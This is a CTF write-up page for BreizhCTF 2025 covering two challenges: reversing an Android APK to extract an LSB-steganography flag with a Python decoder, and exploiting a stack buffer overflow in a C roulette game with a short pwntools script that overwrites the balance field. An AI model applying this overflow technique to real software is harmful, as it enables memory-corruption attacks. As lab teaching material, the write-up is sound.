Appearance
BreizhCTF
Finisteg
WU Reverse BZHCTF 2025
First, I decompiled the APK using jadx.
It's a very easy challenge, so let’s jump straight into the com folder. There, we find exemple.finisteg.MainActivity.
Lucky us—the flag check happens right in the MainActivity!
kotlin
if (ex.equals(userFlag)) {
Toast.makeText(MainActivity.this, "Flag Good!", 1).show();
}
else {
Toast.makeText(MainActivity.this, "Flag NOT Good...", 1).show();
}So, we just need to figure out the value of the string ex.
Here's how it's assigned:
kotlin
String ex = MainActivity.this.decodeBase64(MainActivity.this.extractTextFromImage(bm));Reverse Engineering the ex Value
Let's break this down: bm is assigned as:
kotlin
final Bitmap bm = BitmapFactory.decodeResource(getResources(),So it's just an image resource: res/drawable/breizhctf_logo.png.
Analyse the extractTextFromImage()
The function extractTextFromImage() is what hides the actual content. Here it is:
kotlin
R.drawable.breizhctf_logo, o);
public String extractTextFromImage(Bitmap bitmap) {
int value;
int i;
int width = bitmap.getWidth();
int height = bitmap.getHeight();
StringBuilder binaryText = new StringBuilder();
int[] channels = {0, 1, 2};
for (int y = 0; y < height; y++) {
for (int x = 0; x < width; x++) {
int pixel = bitmap.getPixel(x, y);
int channel = channels[binaryText.length() % 3];
if (channel == 0) {
i = pixel >> 16;
} else if (channel == 1) {
i = pixel >> 8;
} else {
value = pixel & 255;
binaryText.append(value & 1);
if (binaryText.length() % 8 != 0 && binaryText.substring(binaryText.length() - 8).equals("00000000")) {
return binaryToString(binaryText.substring(0, binaryText.length() - 8));
}
}
value = i & 255;
binaryText.append(value & 1);
if (binaryText.length() % 8 != 0) {
}
}
}
return "No text founded...";
}Let's solve now
So now we need to:
- Extract the image
breizhctf_logo.png - Reimplement the logic in Python
- Decode the extracted binary string as Base64
python
from PIL import Image
import base64
def extract_text_from_image(image_path):
img = Image.open(image_path)
pixels = img.load()
width, height = img.size
binary_text = ''
channels = [0, 1, 2]
for y in range(height):
for x in range(width):
pixel = pixels[x, y]
channel_index = len(binary_text) % 3
value = pixel[channels[channel_index]] & 1
binary_text += str(value)
if len(binary_text) % 8 == 0:
if binary_text[-8:] == '00000000':
return binary_to_string(binary_text[:-8])
return "No text found..."
def binary_to_string(binary_data):
chars = [chr(int(binary_data[i:i+8], 2)) for i in range(0, len(binary_data), 8)]
return ''.join(chars)
def decode_base64(encoded_text):
try:
decoded_bytes = base64.b64decode(encoded_text)
return decoded_bytes.decode('utf-8')
except Exception as e:
return f"Decoding error: {e}"
if __name__ == "__main__":
image_path = "/path/to/the/image/breizhctf_logo.png"
encoded_extracted_text = extract_text_from_image(image_path)
print(f"[DEBUG] Encoded: {encoded_extracted_text}")
decoded_text = decode_base64(encoded_extracted_text)
print(f"[DEBUG] Decoded: {decoded_text}")This mirrors the logic from the APK :
extractTextFromImage→extract_text_from_imagebinaryToString→binary_to_stringdecodeBase64→decode_base64
If you want to know how the flag is hide the code will find the LSB R/G/B pixels and it stop where we read 00000000.
Done!
Just run the script with the correct image path, and it prints the flag.
It might not be the most elegant way to solve it, but it’s definitely the simplest—we didn’t even have to dive deep into Android internals, just translated the code logic into Python.
Jackpwn
WU Pwn BZHCTF 2025
We’re given an ELF binary and its source code. After a quick glance, it turns out to be a simple roulette game implemented in C. The objective? Get your in-game balance to exactly 0x1337 coins to print the flag:
c
if (ctx.solde == 0x1337) {
char *flag = getenv("FLAG");
if (flag == NULL) {
puts("fake_flag");
} else {
puts(flag);
}
return 0;
}Looks like we’re in for some memory corruption fun! 🕹️
🔍 Source Code Analysis
Key things to notice:
- The player starts with a balance (
solde) of50. - There’s a
read_input()function that reads input intoctx.misewithout bounds checking. - Each round, the player makes a bet (
mise), which is stored in a local struct:
c
struct {
char mise[32];
int solde;
} ctx;There’s a read_input() function that reads input into ctx.mise without bounds checking.
Boom. There's your vulnerability: a classic stack-based buffer overflow, overwriting the solde field right after mise.
🧪 Initial Exploitation
Let’s try overflowing the mise buffer to overwrite ctx.solde with a controlled value:
bash
$ ./jackpwn
Solde : 50
Votre mise : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB
Solde : 16962Nice! Inputting 32 A's + 2 B's gives us a new balance of 0x4242 (16962). So the solde field is directly overwritten by the next 4 bytes after the 32-char buffer.
🎯 Exploit Strategy
To trigger the flag, we need ctx.solde == 0x1337 right after a win, meaning we want to land at 0x1335 before a successful bet (we gain 2 coins per win).
Let’s overwrite the balance with 0x1335. The trick is that 0x13 isn't a printable character, so we'll use pwntools to send raw bytes.
🧠 Exploit Script
python
from pwn import *
# Craft payload to overflow into solde with value 0x1335
payload = b"A" * 32 + p16(0x1335) # Little-endian
# Launch process
p = process('./jackpwn') # Adjust path if needed
# Send the payload as the first "bet"
p.sendline(payload)
# Interact and hope for a lucky spin
p.interactive()🏁 Example Run
bash
$ python3 solve.py
Solde : 4917
Votre mise : rouge
Gagné
BZH{xxxxxxxxxx}🎉 Boom! One lucky spin and we’ve got the flag.